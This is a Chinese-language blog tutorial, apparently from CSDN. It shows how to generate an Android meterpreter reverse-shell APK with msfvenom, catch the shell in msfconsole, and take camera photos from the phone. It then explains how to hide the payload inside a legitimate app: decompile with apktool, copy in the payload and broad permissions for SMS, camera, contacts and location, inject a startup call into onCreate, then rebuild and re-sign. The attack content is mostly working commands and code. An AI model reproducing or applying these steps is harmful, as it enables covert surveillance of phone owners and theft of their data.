msfvenom生成apk payload然后得到meterpreter shell

先生成一个payload,带上meterpreter监听的地址和端口:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<your public IP> LPORT=80 -o msf.apk

由于大号端口在我的wifi环境下无法出去,所以这里我设置为80端口。
然后安装这个apk到手机。
注意不要在主机上用nc监听,虽然能收到来自apk的TCP包,但是那只是心跳包,没有数据的。
然后用root权限打开msfconsole(因为要监听在80端口,得用root权限才行),在msf上监听:

use exploit/multi/handler
set LHOST 0.0.0.0
set LPORT 80
set PAYLOAD android/meterpreter/reverse_tcp
exploit

Demo

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用前置摄像头拍到的照片
在这里插入图片描述
最后不知道做什么了,就用一个android的shell:

meterpreter > shell
Process 1 created.
Channel 1 created.

pwd
/data/data/com.metasploit.stage/files
id
uid=10113(u0_a113) gid=10113(u0_a113) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50113(all_a113) context=u:r:untrusted_app:s0
su

pwd
/data/data/com.metasploit.stage/files
ls
cd ..
ls
cache
files
lib
cd lib
ls
cd ../..
ls
opendir failed, Permission denied

参考:https://nestedif.com/android-security/android-reverse-shell-using-metasploit/

将生成的payload整合到正常apk中

  1. 用apktool对msf.apk进行反编译;用apktool对helloworld.apk进行反编译。
  2. 将msf.apk中的AndroidManifest.xml权限加到helloworld.apk的AndroidManifest.xml中。
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
  1. 将apktool得到的smali目录下的所有文件复制到helloworld.apk的smali目录下。
  2. 然后找到原apk中的入口Activity的onCreate()方法:
    在这里插入图片描述
    在其下面一行加入:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
  1. 回编译:
apktool b helloworld(使用apktool反编译helloworld.apk生成的目录)

在helloworld/dist目录会得到一个apk。
6. 此时得到的apk是没有签名的,需要用jarsigner对其签名。(如果没有keystore文件,可以用命令先生成一个)

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore C:\Users\caiqiqi\cqq.keystore E:\BaiduNetdiskDownload\apktool\helloworld\dist\helloworld.apk cqq

签名之后会覆盖原始的helloworld.apk。

参考:https://www.blackhillsinfosec.com/embedding-meterpreter-in-android-apk/
自动化脚本:https://github.com/yoda66/AndroidEmbedIT/blob/master/android_embedit.py

Demo

  • 1
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值